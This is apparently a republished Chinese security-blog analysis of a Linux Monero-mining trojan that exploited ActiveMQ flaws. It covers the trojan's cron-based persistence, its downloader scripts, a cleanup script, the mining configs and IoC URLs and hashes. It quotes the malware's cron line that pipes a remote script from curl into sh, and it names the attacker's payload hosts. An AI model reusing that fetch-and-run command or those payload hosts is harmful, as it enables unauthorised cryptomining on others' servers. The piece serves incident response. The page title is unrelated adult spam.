亚洲日本免费-啊轻点灬太粗太长了三男一女-麻豆av电影在线观看-日韩一级片毛片|www.grbbt.com

一個Linux平臺的“門羅幣”挖礦木馬的查殺與分析

近期接到客戶反映,其機房有一臺redhat服務(wù)器很卡,導(dǎo)致很多服務(wù)響應(yīng)速度很慢的情況。通過遠(yuǎn)程到客戶機器,發(fā)現(xiàn)一個進(jìn)程占據(jù)700%多CPU的使用率。通過分析,定性為是一起針對“門羅幣”的挖礦木馬入侵事件。本文記錄處理該事件的關(guān)鍵過程以及對該挖礦木馬核心代碼進(jìn)行的分析,方便做事件響應(yīng)的同行們碰到同家族類型木馬后可以快速查殺,定性威脅事件。

1.木馬行為與查殺過程

主要行為

木馬以r88.sh作為downloader首先控制服務(wù)器,通過判斷當(dāng)前賬戶的權(quán)限是否為root來進(jìn)行下一步的操作,若為root則在目錄/var/spool/cron/root和/var/spool/cron/crontabs/root下寫計劃任務(wù)“*/5 * * * * curl -sL https://x.co/6nPMR | sh”,其中這個短鏈接還原后為https://xmr.enjoytopic.tk/12/r88.sh。若為非root賬戶,則不寫計劃任務(wù)。接著均會執(zhí)行下載運行rootv2.sh或lowerv2.sh(基于當(dāng)前賬戶是否為root來選擇下載腳本)等一系列的操作。

木馬的挖礦組件bashd和bashe在系統(tǒng)中執(zhí)行后,毫不掩飾地就開始挖礦,CPU直接就占據(jù)好幾百,簡直粗暴。是不是應(yīng)該考慮下根據(jù)機器的當(dāng)前運行狀態(tài)來“人性化挖礦”呢?

簡單的進(jìn)程保護(hù)行為

為了防被殺后還能繼續(xù)挖礦,其通過寫入定時任務(wù)的方式來實現(xiàn)簡單的進(jìn)程保護(hù),通過一定時間間隔使用curl與wget遠(yuǎn)程下載shell腳本程序執(zhí)行,該腳本的功能會執(zhí)行本地路徑下已存在的挖礦程序,若不存在則會重新下載挖礦程序執(zhí)行。

其中該木馬在多個路徑都寫入了定時任務(wù)來實現(xiàn)維持訪問,包括:/var/spool/cron/root、/var/spool/cron/crontabs/root以及/etc/cron.d。前兩個位置直接就在r88.sh這個文件中暴露了出來:

要清除該木馬需要清除三個位置所有的定時任務(wù),要不然該木馬還會死灰復(fù)燃,重新被啟動挖礦。

所幸該木馬并沒有感染傳播的蠕蟲屬性,猜測是攻擊者直接通過一般漏洞來進(jìn)行的無差別攻擊植入的挖礦downloader。經(jīng)過對服務(wù)器進(jìn)行滲透測試,確實發(fā)現(xiàn)了Apache ActiveMQ Fileserver遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2016-3088)與ActiveMQ 反序列化漏洞(CVE-2015-5254)。所以企業(yè)在上線服務(wù)之前最好還是先讓安全從業(yè)人員先進(jìn)行安全評估加固之后會更加安全一些。

木馬查殺

1) 嘗試殺掉bashd與bashe進(jìn)程以及root.sh/rootv2.sh/lower.sh/lowerv2.sh與r88.sh這些shell進(jìn)程

2) 清除掉/tmp目錄下木馬釋放的文件:/tmp/bashd、/tmp/bashe、/tmp/root.sh、/tmp/rootv2.sh 、/tmp/r88.sh、/tmp/pools.txt、/tmp/config.json等

3) 清除3個位置的定時任務(wù):/var/spool/cron/root、/var/spool/cron/crontabs/root以及/etc/cron.d

對應(yīng)的自動查殺腳本如下

#!/bin/bash

for ((i=1;i>0;i++))

do

ps -ef | grep “/tmp/bashd -p bashd” | grep -v grep | awk ‘{print $2}’ | xargs kill

ps -ef | grep “/tmp/bashe -p bashd” | grep -v grep | awk ‘{print $2}’ | xargs kill

ps -ef | grep “bash /tmp/root.sh” | grep -v grep | awk ‘{print $2}’ | xargs kill

ps -ef | grep “bash /tmp/r88.sh” | grep -v grep | awk ‘{print $2}’ | xargs kill

ps -ef | grep “bash /tmp/rootv2.sh” | grep -v grep | awk ‘{print $2}’ | xargs kill

ps -ef | grep “bash /tmp/lower.sh” | grep -v grep | awk ‘{print $2}’ | xargs kill

ps -ef | grep “bash /tmp/lowerv2.sh” | grep -v grep | awk ‘{print $2}’ | xargs kill

rm /tmp/bashd /tmp/bashe /tmp/config.json /tmp/root.sh /tmp/rootv2.sh /tmp/r88.sh /tmp/pools.txt -r

rm /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root

done

2.木馬核心代碼分析

木馬整體編寫邏輯

該木馬使用Linux系統(tǒng)的shell腳本編寫Downloader,使用curl與wget命令發(fā)起網(wǎng)絡(luò)請求下載木馬的其他組件,雖然代碼可被輕易分析,但是編寫成本和門檻降低,這也是當(dāng)前惡意代碼使用腳本語言編寫的一個趨勢。

該木馬一共涉及多個腳本與可執(zhí)行文件:

配置文件

bashe的config.json配置文件:

t0186b148b61c94460c

config.json這個配置文件中顯示其礦池地址為pool.supportxmr.com:80,

用戶為:

46TCcaaDn4LXkWZ1EGKBkzcWsTm32Mmy8a2VWqL8pGhRPf65GmUdkZWbrLVYNhFaucWXjU5aJqMraL

MEoXq53GHYJPv3LP6

bashd的pools.txt配置文件:

t01594fb4fd2096ebf2

該配置文件中顯示器礦池地址為pool.supportxmr.com:80,錢包地址為:

46TCcaaDn4LXkWZ1EGKBkzcWsTm32Mmy8a2VWqL8pGhRPf65GmUdkZWbrLVYNhFaucWXjU5aJqMraL

MEoXq53GHYJPv3LP6,礦池密碼為bashe。

r88.sh代碼分析

r88.sh首先判斷當(dāng)前用戶是否為root賬戶,若是則下載并執(zhí)行root.sh,若下載執(zhí)行失敗則會下載執(zhí)行rootv2.sh,兩者代碼一樣;若非root賬戶,那么則下載并執(zhí)行l(wèi)ower.sh,若下載失敗則下載執(zhí)行l(wèi)owerv2.sh,root.sh與rootv2.sh兩者代碼一致。下圖是r88.sh的完整代碼截圖。

t0172e116b0d310ce23

lowerv2.sh代碼分析

lowerv2.sh是在非root權(quán)限下才會被執(zhí)行的downloader腳本,代碼中有兩個函數(shù):kills和downloadyam,隔600s循環(huán)執(zhí)行。

t01dcb6a22f8f54f4d3

Kills函數(shù)用于刪除其他同行的挖礦木馬的文件并kill進(jìn)程,真是一山不能容二馬的節(jié)奏啊。

t01a1d46cab67d299d8

t01694f7e9bb1a99359

其中downloadyam函數(shù),用于下載挖礦程序bashd和bashe以及對應(yīng)的配置文件并執(zhí)行挖礦程序。

lower.sh代碼分析

若當(dāng)前用戶是非root權(quán)限,r88.sh會作為下載器下載該腳本,若是其下載執(zhí)行失敗,那么就會選擇下載lowerv2.sh。兩個腳本完全一樣,只是為了在下載失敗時作為替代的保險操作。

rootv2.sh代碼分析

rootv2.sh的代碼與lowerv2.sh的代碼完全一樣,只是rootv2.sh的代碼多了兩行注釋:

t0196aa7700ad953174

猜測是作者本來想在rootv2.sh中加入寫crontab的代碼的,可是最后沒有加上,故rootv2.sh與lowerv2.sh代碼當(dāng)前是完全一樣的。

root.sh代碼分析

當(dāng)前用戶若是root權(quán)限,root.sh是r88.sh下載首選,在下載root.sh失敗的情況下才會選擇下載rootv2.sh,兩個文件的代碼是完全一致的。r88.sh的代碼片段如下:

未標(biāo)題-1

Bashe代碼分析

該ELF可執(zhí)行文件靜態(tài)編譯造成程序達(dá)到20m,通過對其代碼分析發(fā)現(xiàn)跟很多挖礦木馬一樣使用到了開源的挖礦代碼,該程序使用的開源挖礦項目在:https://github.com/fireice-uk/xmr-stak-cpu,是一個通用的挖礦項目,支持CPU,AMD與NVIDIA GPU,用于挖“門羅幣”。下圖可見該可執(zhí)行文件中多處使用引用的代碼:

通過對比github上的代碼:

可確定其是基于開源代碼xmr-stak 2.4.2編寫的一個針對門羅幣的挖礦木馬。

Bashd代碼分析

該木馬用于針對“門羅幣”挖礦的組件,x64架構(gòu)的ELF格式文件。通過代碼相似性分析可確定該程序是基于xmrig 2.5.2開源項目開發(fā)的一個基于CPU的針對Monero(XMR)的挖礦木馬。

該項目在:https://github.com/xmrig/xmrig

3.總結(jié)

該挖礦木馬并沒有使用很多高級的防查殺技術(shù),也沒有廣泛傳播的蠕蟲屬性,僅僅使用定時任務(wù)來實現(xiàn)簡單的進(jìn)程保護(hù),通過無差別攻擊進(jìn)行“抓雞”植入木馬,而且直接使用shell腳本編寫的下載器加上開源的挖礦代碼就開始“抓肉雞”挖礦,由此可見現(xiàn)在對于挖礦木馬的門檻在降低,但是這樣簡單的操作就足以嚴(yán)重危害網(wǎng)絡(luò)的可用性與安全性。

關(guān)于挖礦木馬如何防范與其他惡意代碼以及入侵事件如何防范一樣,實際上均是老生常談的話題,最重要的一點還是企業(yè)需要正視網(wǎng)絡(luò)安全的重要性,及時對系統(tǒng)以及應(yīng)用打補丁,定期組織安全人員進(jìn)行服務(wù)器的維護(hù),提高企業(yè)員工的安全意識等等。

4.IoC

http://abcde.sw5y.com

http://abcde.sw5y.com/l2/lowerv2.sh

http://abcde.sw5y.com/l2/rootv2.sh

http://abcde.sw5y.com/l2/pools.txt

http://abcde.sw5y.com/l2/bashd

http://abcde.sw5y.com/l2/bashe

https://xmr.enjoytopic.tk/12/r88.sh

https://xmr.enjoytopic.tk

8965edd7205ffc4a7711313715f1621a7817621a0db03245022fc6e8b2ae8642

e3b0296ddec24cc0d7ef27b4896a0616f20394cb0293b22c1ac744c530451b47

27fbcee0f3f007e846ec4367c6ef55c8d2d790f22b12d551b0df93c369c5cb76

f90bada1b2562c3b7727fee57bd7edf453883219a2ee45923abbd539708236b0

0122604e4d65b181ad9fbd782743df6dafe6371bcf24638eb2d4aa962a272015

3d75b68b05aa00cb8ace5c27b35341a5c33c14c547313f04afa8bc5193366755

原文:https://www.anquanke.com/post/id/106878

上一篇:針對微軟安全補丁漏洞(CVE-2018-1038)的分析與利用

下一篇:區(qū)塊鏈與51%算力攻擊&2018-DDCTF-mini blockchain